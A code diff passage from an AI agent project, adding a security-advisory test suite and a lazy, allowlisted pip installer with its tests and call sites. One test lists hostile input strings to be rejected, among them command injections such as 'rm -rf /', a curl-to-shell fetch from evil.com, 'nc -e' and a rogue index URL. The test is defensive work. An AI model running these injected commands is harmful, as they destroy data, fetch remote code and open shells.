assert adv.filter_unacked([hit]) == [hit]
def test_ack_advisory_persists_id(self, isolated_home, monkeypatch):
# Stub the config layer end-to-end with a tiny in-memory store so we
# don't depend on the full hermes_cli.config bootstrap.
store: dict = {"security": {}}
monkeypatch.setattr(
"hermes_cli.config.load_config", lambda: store
)
monkeypatch.setattr(
"hermes_cli.config.save_config",
lambda cfg: store.update(cfg) or None,
)
assert adv.ack_advisory("test-advisory-2026-99") is True
assert "test-advisory-2026-99" in store["security"]["acked_advisories"]
# Idempotent.
adv.ack_advisory("test-advisory-2026-99")
assert (
store["security"]["acked_advisories"].count("test-advisory-2026-99")
== 1
)
def test_ack_advisory_rejects_blank(self, isolated_home):
assert adv.ack_advisory("") is False
assert adv.ack_advisory(" ") is False
# ---------------------------------------------------------------------------
# Banner cache rate limiting
# ---------------------------------------------------------------------------
class TestBannerCache:
def test_first_call_returns_due_hits(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
due = adv.hits_due_for_banner([hit])
assert due == [hit]
def test_second_call_within_window_suppresses(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
adv.hits_due_for_banner([hit])
# Same banner inside repeat window → suppressed.
again = adv.hits_due_for_banner([hit])
assert again == []
def test_call_after_window_re_banners(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
adv.hits_due_for_banner([hit])
# Backdate the cache so it looks like the banner was shown more
# than 24h ago — should re-banner.
cache_path = adv._banner_cache_path()
assert cache_path is not None
old_lines = cache_path.read_text(encoding="utf-8").splitlines()
backdated = []
for line in old_lines:
parts = line.split(None, 1)
if len(parts) == 2:
backdated.append(f"{parts[0]} {time.time() - 48 * 3600}")
cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8")
again = adv.hits_due_for_banner([hit])
assert again == [hit]
def test_acked_hits_never_banner(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
assert adv.hits_due_for_banner([hit]) == []
# ---------------------------------------------------------------------------
# Rendering
# ---------------------------------------------------------------------------
class TestRendering:
def test_short_banner_lines_includes_id_and_version(self, fake_advisory):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
lines = adv.short_banner_lines([hit])
joined = "\n".join(lines)
assert fake_advisory.id in joined
assert fake_advisory.title in joined
assert "fake-malicious-pkg==6.6.6" in joined
assert "hermes doctor" in joined
def test_full_remediation_text_contains_all_steps(self, fake_advisory):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
body = "\n".join(adv.full_remediation_text(hit))
# All remediation steps must be present.
for step in fake_advisory.remediation:
assert step in body
assert fake_advisory.url in body
assert fake_advisory.summary in body
def test_render_doctor_section_clean_state(self):
# No hits → success message, has_problems=False.
has_problems, lines = adv.render_doctor_section([])
assert has_problems is False
assert any("No active security advisories" in line for line in lines)
def test_render_doctor_section_with_unacked_hit(
self, fake_advisory, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
has_problems, lines = adv.render_doctor_section([hit])
assert has_problems is True
body = "\n".join(lines)
assert fake_advisory.title in body
def test_gateway_log_message_singular(self, fake_advisory, monkeypatch):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
msg = adv.gateway_log_message([hit])
assert msg is not None
assert fake_advisory.id in msg
assert "fake-malicious-pkg==6.6.6" in msg
def test_gateway_log_message_returns_none_for_no_hits(self):
assert adv.gateway_log_message([]) is None
# ---------------------------------------------------------------------------
# Real catalog smoke test
# ---------------------------------------------------------------------------
class TestRealCatalog:
def test_advisories_well_formed(self):
"""Every shipped advisory must be self-consistent.
Catches data-entry mistakes (empty IDs, missing remediation, bad
compromised tuples) before they ship.
"""
seen_ids: set[str] = set()
for advisory in adv.ADVISORIES:
assert advisory.id, "advisory has empty id"
assert advisory.id not in seen_ids, f"duplicate id {advisory.id}"
seen_ids.add(advisory.id)
assert advisory.title, f"{advisory.id}: empty title"
assert advisory.summary, f"{advisory.id}: empty summary"
assert advisory.remediation, f"{advisory.id}: empty remediation"
assert advisory.url.startswith("http"), \
f"{advisory.id}: bad url {advisory.url!r}"
assert advisory.compromised, \
f"{advisory.id}: empty compromised tuple"
for pkg, versions in advisory.compromised:
assert pkg, f"{advisory.id}: empty package name"
assert isinstance(versions, frozenset), \
f"{advisory.id}: versions must be frozenset"

View file

@ -0,0 +1,228 @@
"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
The lazy_deps module is the architectural fix for the "one quarantined
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
which only installs from a strict allowlist, refuses anything that looks
like a URL / file path, runs venv-scoped, and respects the
``security.allow_lazy_installs`` config flag.
These tests cover the security boundary and the public API. The real pip
call is mocked we never actually shell out during unit tests.
"""
from __future__ import annotations
from typing import Iterator
import pytest
import tools.lazy_deps as ld
# ---------------------------------------------------------------------------
# Spec safety
# ---------------------------------------------------------------------------
class TestSpecSafety:
@pytest.mark.parametrize("spec", [
"mistralai>=2.3.0,<3",
"elevenlabs>=1.0,<2",
"honcho-ai>=2.0.1,<3",
"boto3>=1.35.0,<2",
"mautrix[encryption]>=0.20,<1",
"google-api-python-client>=2.100,<3",
"youtube-transcript-api>=1.2.0",
"qrcode>=7.0,<8",
"package", # bare name, no version
"package==1.0.0",
"package~=1.0",
])
def test_safe_specs_pass(self, spec):
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
@pytest.mark.parametrize("spec", [
# URL-shaped → rejected (no remote origin override allowed)
"git+https://github.com/foo/bar.git",
"https://example.com/foo.tar.gz",
# File path → rejected
"/etc/passwd",
"./local-malware",
"../escape",
# Shell metacharacters → rejected
"package; rm -rf /",
"package && curl evil.com | sh",
"package`whoami`",
"package$(whoami)",
"package|nc -e",
# Pip flag injection → rejected
"--index-url=http://evil/",
"-r requirements.txt",
# Whitespace control chars → rejected
"package\nshell-injection",
"package\rmore",
# Empty / overly long → rejected
"",
"x" * 500,
])
def test_unsafe_specs_rejected(self, spec):
assert not ld._spec_is_safe(spec), \
f"expected {spec!r} to be rejected"
# ---------------------------------------------------------------------------
# Allowlist enforcement
# ---------------------------------------------------------------------------
class TestAllowlist:
def test_unknown_feature_raises(self, monkeypatch):
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
ld.ensure("not.a.real.feature")
def test_lazy_deps_keys_use_namespace_dot_name(self):
# Sanity check on the data shape — every key should be at least
# one dot-separated namespace.
for key in ld.LAZY_DEPS:
assert "." in key, f"feature {key!r} should be namespace.name"
def test_every_lazy_dep_spec_passes_safety(self):
# Defence in depth — even though specs are author-controlled,
# the safety regex must accept everything we ship.
for feature, specs in ld.LAZY_DEPS.items():
for spec in specs:
assert ld._spec_is_safe(spec), \
f"{feature}: spec {spec!r} fails safety check"
def test_feature_install_command_returns_pip_invocation(self):
cmd = ld.feature_install_command("memory.honcho")
assert cmd is not None
assert cmd.startswith("uv pip install")
assert "honcho-ai" in cmd
def test_feature_install_command_unknown(self):
assert ld.feature_install_command("not.real") is None
# ---------------------------------------------------------------------------
# allow_lazy_installs gating
# ---------------------------------------------------------------------------
class TestSecurityGating:
def test_disabled_via_config_raises(self, monkeypatch):
# Pretend honcho is missing AND lazy installs are disabled.
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
ld.ensure("test.feat", prompt=False)
def test_disabled_via_env_var(self, monkeypatch):
monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")
# Bypass config layer; the env var alone must disable.
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: {"security": {"allow_lazy_installs": True}},
)
assert ld._allow_lazy_installs() is False
def test_default_allows(self, monkeypatch):
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: {"security": {}},
)
assert ld._allow_lazy_installs() is True
def test_config_failure_fails_open(self, monkeypatch):
# If config can't be read at all, we ALLOW installs rather than
# blocking the user out of their own backends.
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
)
assert ld._allow_lazy_installs() is True
# ---------------------------------------------------------------------------
# ensure() happy/sad paths
# ---------------------------------------------------------------------------
class TestEnsure:
def test_already_satisfied_is_noop(self, monkeypatch):
# If the package is importable, ensure() returns without calling pip.
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
# If pip were called, this would fail loudly.
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda *a, **kw: pytest.fail("pip should not be called"),
)
ld.ensure("test.satisfied", prompt=False) # no exception
def test_install_success_path(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",))
# First check sees missing, post-install check sees installed.
call_count = {"n": 0}
def fake_satisfied(spec):
call_count["n"] += 1
return call_count["n"] > 1 # missing first, installed after
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
ld.ensure("test.install", prompt=False)
def test_install_failure_surfaces_pip_stderr(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(
False, "", "ERROR: package not found on PyPI"
),
)
with pytest.raises(ld.FeatureUnavailable, match="pip install failed"):
ld.ensure("test.fail", prompt=False)
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
# Pip says success but the package still isn't importable
# (e.g. site-packages caching, wrong python). Surface this.
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
ld.ensure("test.cache", prompt=False)
# ---------------------------------------------------------------------------
# is_available
# ---------------------------------------------------------------------------
class TestIsAvailable:
def test_unknown_feature_returns_false(self):
assert ld.is_available("not.a.thing") is False
def test_satisfied_returns_true(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
assert ld.is_available("test.avail") is True
def test_missing_returns_false(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
assert ld.is_available("test.miss") is False

View file

@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared:
root = Path(__file__).resolve().parents[2]
source = (root / "pyproject.toml").read_text(encoding="utf-8")
# The dependency line should be conditional on sys_platform == 'win32'
# and should NOT be in the core dependencies for Linux/macOS.
assert (
'tzdata>=2023.3; sys_platform == \'win32\'' in source
or "tzdata>=2023.3; sys_platform == 'win32'" in source
or 'tzdata>=2023.3; sys_platform == "win32"' in source
), "tzdata must be a Windows-only dep in pyproject.toml dependencies"
# and should NOT be in the core dependencies for Linux/macOS. We do
# not care about the exact pinned version (which is bumped over time)
# — only that tzdata is declared with a win32 marker. This is an
# invariant check, not a snapshot test.
import re
# Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version
# specifier in between (==X.Y.Z, >=X.Y.Z,<W, etc.) and either quote
# style on the marker.
pattern = re.compile(
r'"tzdata[^"]*;\s*sys_platform\s*==\s*[\'"]win32[\'"]\s*"'
)
assert pattern.search(source), (
"tzdata must be a Windows-only dep in pyproject.toml dependencies "
"(declared with a `; sys_platform == 'win32'` marker)"
)
# ---------------------------------------------------------------------------

View file

@ -51,6 +51,13 @@ class DaytonaEnvironment(BaseEnvironment):
requested_cwd = cwd
super().__init__(cwd=cwd, timeout=timeout)
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("terminal.daytona", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
from daytona import (
Daytona,
CreateSandboxFromImageParams,

View file

@ -80,11 +80,23 @@ def _delete_direct_snapshot(task_id: str, snapshot_id: str | None = None) -> Non
_save_snapshots(snapshots)
def _ensure_modal_sdk() -> None:
"""Lazy-install modal on demand. Idempotent — fast no-op once installed."""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("terminal.modal", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
def _resolve_modal_image(image_spec: Any) -> Any:
"""Convert registry references or snapshot ids into Modal image objects.
Includes add_python support for ubuntu/debian images (absorbed from PR 4511).
"""
_ensure_modal_sdk()
import modal as _modal
if not isinstance(image_spec, str):
@ -183,6 +195,7 @@ class ModalEnvironment(BaseEnvironment):
if restored_snapshot_id:
logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20])
_ensure_modal_sdk()
import modal as _modal
cred_mounts = []

View file

@ -42,6 +42,19 @@ if TYPE_CHECKING:
DEFAULT_VERCEL_CWD = "/vercel/sandbox"
_DEFAULT_CONTAINER_DISK_MB = 51200
def _ensure_vercel_sdk() -> None:
"""Lazy-install vercel SDK on demand. Idempotent."""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("terminal.vercel", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
_CREATE_RETRY_ATTEMPTS = 3
_WRITE_RETRY_ATTEMPTS = 3
_TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504})
@ -194,6 +207,7 @@ def _extract_snapshot_id(snapshot: Any) -> str | None:
@cache
def _sandbox_status_type() -> type[SandboxStatus]:
_ensure_vercel_sdk()
from vercel.sandbox import SandboxStatus
return SandboxStatus
@ -260,6 +274,7 @@ class VercelSandboxEnvironment(BaseEnvironment):
"Use the default shared setting."
)
_ensure_vercel_sdk()
from vercel.sandbox import Resources
sandbox_timeout = max(
@ -281,6 +296,7 @@ class VercelSandboxEnvironment(BaseEnvironment):
)
def _create_sandbox(self) -> Sandbox:
_ensure_vercel_sdk()
from vercel.sandbox import Sandbox
snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None

View file

@ -52,6 +52,13 @@ def _load_fal_client() -> Any:
global fal_client
if fal_client is not None:
return fal_client
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("image.fal", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
import fal_client as _fal_client # noqa: F811 — module-global rebind
fal_client = _fal_client
return fal_client

441
tools/lazy_deps.py Normal file
View file

@ -0,0 +1,441 @@
"""
Lazy dependency installer for opt-in Hermes Agent backends.
Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock,
Slack, Matrix, etc.) require Python packages that not every user needs. The
historical approach was to bundle them all under ``pyproject.toml`` extras
(``hermes-agent[all]``) and install them eagerly at setup time. That has
two problems:
1. **Fragility.** When one extra's transitive dependency becomes
unavailable on PyPI (quarantined for malware, yanked, broken upload),
the *entire* ``[all]`` resolve fails and fresh installs silently fall
back to a stripped tier losing 10+ unrelated extras at once.
2. **Bloat.** A user who only ever talks to one provider pulls hundreds
of packages they will never import.
The lazy-install pattern fixes both. Backends call :func:`ensure` at the
top of their first-import path. If the deps are missing, ``ensure`` checks
the ``security.allow_lazy_installs`` config flag (default true) and runs
a venv-scoped pip install. If the user has explicitly disabled lazy
installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear
remediation hint pointing at ``hermes tools`` or the manual pip command.
Security model:
* **Venv-scoped only.** Installs target ``sys.executable`` in the active
venv. We never touch the system Python.
* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc.
We do NOT support ``--index-url`` overrides, ``git+https://``, file:
paths, or any other input that could be hijacked by a malicious config.
* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be
installed via this path. A typo in feature name doesn't get the user
install-anything semantics.
* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in
``config.yaml`` disables runtime installs. Users in restricted networks
or strict security postures can pin themselves to whatever was installed
at setup time.
* **Offline detection.** If the install fails (offline, mirror down,
PyPI 404 / quarantine), we surface the failure as
:class:`FeatureUnavailable` with the actual pip stderr no silent
retries, no caching of bad state.
Adding a new backend:
1. Add an entry to :data:`LAZY_DEPS` with the package specs.
2. At the top of the backend module's import path, call
``ensure("feature.name")`` inside a try/except that converts
:class:`FeatureUnavailable` to a useful runtime error.
"""
from __future__ import annotations
import logging
import os
import re
import shutil
import subprocess
import sys
from dataclasses import dataclass
from pathlib import Path
from typing import Optional
logger = logging.getLogger(__name__)
# =============================================================================
# Allowlist of lazy-installable backends.
#
# Keys are dot-separated feature names ("namespace.backend"). Values are
# tuples of pip-installable specs that match the corresponding extra in
# pyproject.toml. The framework enforces that only specs from this map
# can flow into the pip install command.
# =============================================================================
LAZY_DEPS: dict[str, tuple[str, ...]] = {
# ─── Inference providers ───────────────────────────────────────────────
# Native Anthropic SDK — needed when provider=anthropic (not via
# OpenRouter / aggregators which use the openai SDK).
"provider.anthropic": ("anthropic==0.86.0",),
# AWS Bedrock provider
"provider.bedrock": ("boto3==1.42.89",),
# ─── Web search backends ───────────────────────────────────────────────
"search.exa": ("exa-py==2.10.2",),
"search.firecrawl": ("firecrawl-py==4.17.0",),
"search.parallel": ("parallel-web==0.4.2",),
# ─── TTS providers ─────────────────────────────────────────────────────
# Pinned to exact versions to match pyproject.toml's no-ranges policy
# (see comment at top of [project.dependencies]). When bumping, update
# both this map AND the corresponding extra in pyproject.toml.
#
# NOTE: tts.mistral / stt.mistral entries are intentionally absent —
# the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini
# Shai-Hulud worm). Re-add when PyPI restores a clean release; see
# comment in pyproject.toml above the (removed) `mistral` extra for
# the full restoration checklist.
"tts.edge": ("edge-tts==7.2.7",),
"tts.elevenlabs": ("elevenlabs==1.59.0",),
# ─── Speech-to-text providers ──────────────────────────────────────────
"stt.faster_whisper": (
"faster-whisper==1.2.1",
"sounddevice==0.5.5",
"numpy==2.4.3",
),
# ─── Image generation backends ─────────────────────────────────────────
"image.fal": ("fal-client==0.13.1",),
# ─── Memory providers ──────────────────────────────────────────────────
"memory.honcho": ("honcho-ai==2.0.1",),
"memory.hindsight": ("hindsight-client==0.6.1",),
# ─── Messaging platforms (lazy-installable on demand) ──────────────────
"platform.telegram": ("python-telegram-bot[webhooks]==22.6",),
"platform.discord": ("discord.py[voice]==2.7.1",),
"platform.slack": (
"slack-bolt==1.27.0",
"slack-sdk==3.40.1",
),
"platform.matrix": (
"mautrix[encryption]==0.21.0",
"Markdown==3.10.2",
"aiosqlite==0.22.1",
"asyncpg==0.31.0",
"aiohttp-socks==0.11.0",
),
"platform.dingtalk": (
"dingtalk-stream==0.24.3",
"alibabacloud-dingtalk==2.2.42",
"qrcode==7.4.2",
),
"platform.feishu": (
"lark-oapi==1.5.3",
"qrcode==7.4.2",
),
# ─── Terminal backends ─────────────────────────────────────────────────
"terminal.modal": ("modal==1.3.4",),
"terminal.daytona": ("daytona==0.155.0",),
"terminal.vercel": ("vercel==0.5.7",),
# ─── Skills ────────────────────────────────────────────────────────────
"skill.google_workspace": (
"google-api-python-client==2.194.0",
"google-auth-oauthlib==1.3.1",
"google-auth-httplib2==0.3.1",
),
"skill.youtube": ("youtube-transcript-api==1.2.4",),
# ─── Tools ─────────────────────────────────────────────────────────────
# ACP adapter (VS Code / Zed / JetBrains integration)
"tool.acp": ("agent-client-protocol==0.9.0",),
# Dashboard (`hermes dashboard`)
"tool.dashboard": (
"fastapi==0.133.1",
"uvicorn[standard]==0.41.0",
),
}
# Conservative regex for spec validation — package name plus optional
# version range. Reject anything that looks like a URL, file path, or shell
# metacharacter.
_SAFE_SPEC = re.compile(
r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name
r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras]
r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier
r"$"
)
class FeatureUnavailable(RuntimeError):
"""A lazily-installable feature is missing and cannot be made available.
Either the deps were never installed and the user has disabled lazy
installs, or the install attempt failed.
"""
def __init__(self, feature: str, missing: tuple[str, ...], reason: str):
self.feature = feature
self.missing = missing
self.reason = reason
super().__init__(self._format())
def _format(self) -> str:
spec_list = " ".join(repr(s) for s in self.missing)
return (
f"Feature {self.feature!r} unavailable: {self.reason}. "
f"To enable manually: uv pip install {spec_list} "
f"(or: pip install {spec_list})."
)
@dataclass(frozen=True)
class _InstallResult:
success: bool
stdout: str
stderr: str
# =============================================================================
# Internals
# =============================================================================
def _allow_lazy_installs() -> bool:
"""Return the ``security.allow_lazy_installs`` config flag.
Defaults to True. If config is unreadable we fail open (allow), because
refusing to install would lock people out of their own backends; the
decision to block is an explicit user opt-in.
"""
if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1":
return False
try:
from hermes_cli.config import load_config
cfg = load_config()
except Exception:
return True
sec = cfg.get("security") or {}
val = sec.get("allow_lazy_installs", True)
return bool(val)
def _spec_is_safe(spec: str) -> bool:
"""Reject pip specs that contain URLs, paths, or shell metacharacters."""
if not spec or len(spec) > 200:
return False
if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")):
return False
if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec:
return False
return bool(_SAFE_SPEC.match(spec))
def _pkg_name_from_spec(spec: str) -> str:
"""Extract the bare package name from a pip spec.
``"slack-bolt>=1.18.0,<2"`` ``"slack-bolt"``
``"mautrix[encryption]>=0.20"`` ``"mautrix"``
"""
m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec)
return m.group(1) if m else spec
def _is_satisfied(spec: str) -> bool:
"""Best-effort check: is ``spec`` already satisfied in the current env?
We don't enforce the version range — if the package is importable
we assume the user knows what they're doing. This matches how the
lazy-import sites already behave.
"""
pkg = _pkg_name_from_spec(spec)
try:
from importlib.metadata import PackageNotFoundError, version
except ImportError:
return False
try:
version(pkg)
return True
except PackageNotFoundError:
return False
except Exception:
return False
def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult:
"""Install ``specs`` into the active venv using uv → pip → ensurepip ladder.
Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but
kept independent here so this module has no CLI dependency.
"""
if not specs:
return _InstallResult(True, "", "")
venv_root = Path(sys.executable).parent.parent
uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)}
# Tier 1: uv (preferred — fast, doesn't need pip in the venv)
uv_bin = shutil.which("uv")
if uv_bin:
try:
r = subprocess.run(
[uv_bin, "pip", "install", *specs],
capture_output=True, text=True, timeout=timeout, env=uv_env,
)
if r.returncode == 0:
return _InstallResult(True, r.stdout or "", r.stderr or "")
logger.debug("uv pip install failed: %s", r.stderr)
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
logger.debug("uv invocation failed: %s", e)
# Tier 2: python -m pip (with ensurepip bootstrap if needed)
pip_cmd = [sys.executable, "-m", "pip"]
try:
probe = subprocess.run(
pip_cmd + ["--version"],
capture_output=True, text=True, timeout=15,
)
if probe.returncode != 0:
raise FileNotFoundError("pip not in venv")
except (subprocess.TimeoutExpired, FileNotFoundError):
try:
subprocess.run(
[sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"],
capture_output=True, text=True, timeout=120, check=True,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e:
return _InstallResult(False, "",
f"pip not available and ensurepip failed: {e}")
try:
r = subprocess.run(
pip_cmd + ["install", *specs],
capture_output=True, text=True, timeout=timeout,
)
return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "")
except subprocess.TimeoutExpired as e:
return _InstallResult(False, "", f"pip install timed out: {e}")
except Exception as e:
return _InstallResult(False, "", f"pip install failed: {e}")
# =============================================================================
# Public API
# =============================================================================
def feature_specs(feature: str) -> tuple[str, ...]:
"""Return the registered specs for a feature, or raise KeyError."""
if feature not in LAZY_DEPS:
raise KeyError(f"Unknown lazy feature: {feature!r}")
return LAZY_DEPS[feature]
def feature_missing(feature: str) -> tuple[str, ...]:
"""Return the subset of specs for ``feature`` not currently installed."""
return tuple(s for s in feature_specs(feature) if not _is_satisfied(s))
def ensure(feature: str, *, prompt: bool = True) -> None:
"""Make sure all packages for ``feature`` are importable.
If they're missing, attempts to install them in the active venv. Raises
:class:`FeatureUnavailable` if the user has disabled lazy installs or
if the install attempt fails.
``prompt``: when True (default) and stdin is a TTY, asks the user to
confirm before installing. Non-interactive callers (gateway, cron,
batch) get prompt=False and skip the confirmation config flag is
the gate in that case.
"""
if feature not in LAZY_DEPS:
raise FeatureUnavailable(
feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist"
)
missing = feature_missing(feature)
if not missing:
return
# Validate every spec against the allowlist + safety regex. Belt and
# braces — the keys-in-LAZY_DEPS check above already constrains this.
for spec in missing:
if not _spec_is_safe(spec):
raise FeatureUnavailable(
feature, missing,
f"refusing to install unsafe spec {spec!r}"
)
if not _allow_lazy_installs():
raise FeatureUnavailable(
feature, missing,
"lazy installs disabled (security.allow_lazy_installs=false)"
)
if prompt and sys.stdin.isatty() and sys.stdout.isatty():
spec_list = ", ".join(missing)
try:
answer = input(
f"\nFeature {feature!r} requires: {spec_list}\n"
f"Install into the active venv now? [Y/n] "
).strip().lower()
except (EOFError, KeyboardInterrupt):
answer = "n"
if answer and answer not in ("y", "yes"):
raise FeatureUnavailable(
feature, missing, "user declined install at prompt"
)
logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature)
result = _venv_pip_install(missing)
if not result.success:
# Surface the actual pip error so the user can debug PyPI-side
# issues (404 quarantine, network down, etc.).
snippet = (result.stderr or result.stdout or "").strip()
if snippet:
# Clip to a readable size — pip can dump pages of resolution traces.
snippet = snippet[-2000:]
raise FeatureUnavailable(
feature, missing,
f"pip install failed: {snippet or 'no error output'}"
)
# Verify post-install. importlib.metadata caches per-process, so if we
# just installed something the cache may not see it without a refresh.
try:
import importlib.metadata as _md
if hasattr(_md, "_cache_clear"):
_md._cache_clear() # type: ignore[attr-defined]
except Exception:
pass
still_missing = feature_missing(feature)
if still_missing:
raise FeatureUnavailable(
feature, still_missing,
"install reported success but packages still not importable "
"(may require Python restart)"
)
logger.info("Lazy install complete for feature %r", feature)
def is_available(feature: str) -> bool:
"""Return True if the feature's deps are already satisfied."""
if feature not in LAZY_DEPS:
return False
return not feature_missing(feature)
def feature_install_command(feature: str) -> Optional[str]:
"""Return the ``pip install`` command a user could run manually, or None."""
if feature not in LAZY_DEPS:
return None
specs = LAZY_DEPS[feature]
return "uv pip install " + " ".join(repr(s) for s in specs)

View file

@ -80,11 +80,34 @@ from tools.xai_http import hermes_xai_user_agent
def _import_edge_tts():
"""Lazy import edge_tts. Returns the module or raises ImportError."""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("tts.edge", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
import edge_tts
return edge_tts
def _import_elevenlabs():
"""Lazy import ElevenLabs client. Returns the class or raises ImportError."""
"""Lazy import ElevenLabs client. Returns the class or raises ImportError.
Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on
demand if the user picked ElevenLabs as their TTS provider but never ran
the post-setup hook (e.g. enabled it by editing config.yaml directly).
Raises ``ImportError`` on lazy-install failure so existing callers'
error-handling paths keep working.
"""
try:
from tools.lazy_deps import FeatureUnavailable, ensure
ensure("tts.elevenlabs", prompt=False)
except ImportError:
# lazy_deps module itself missing — fall through to the raw import
# so older code paths still get a clean ImportError.
pass
except Exception as e: # FeatureUnavailable or any unexpected error
raise ImportError(str(e))
from elevenlabs.client import ElevenLabs
return ElevenLabs

View file

@ -64,6 +64,13 @@ def _load_firecrawl_cls() -> type:
"""Import and cache ``firecrawl.Firecrawl``."""
global _FIRECRAWL_CLS_CACHE
if _FIRECRAWL_CLS_CACHE is None:
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("search.firecrawl", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
from firecrawl import Firecrawl as _cls
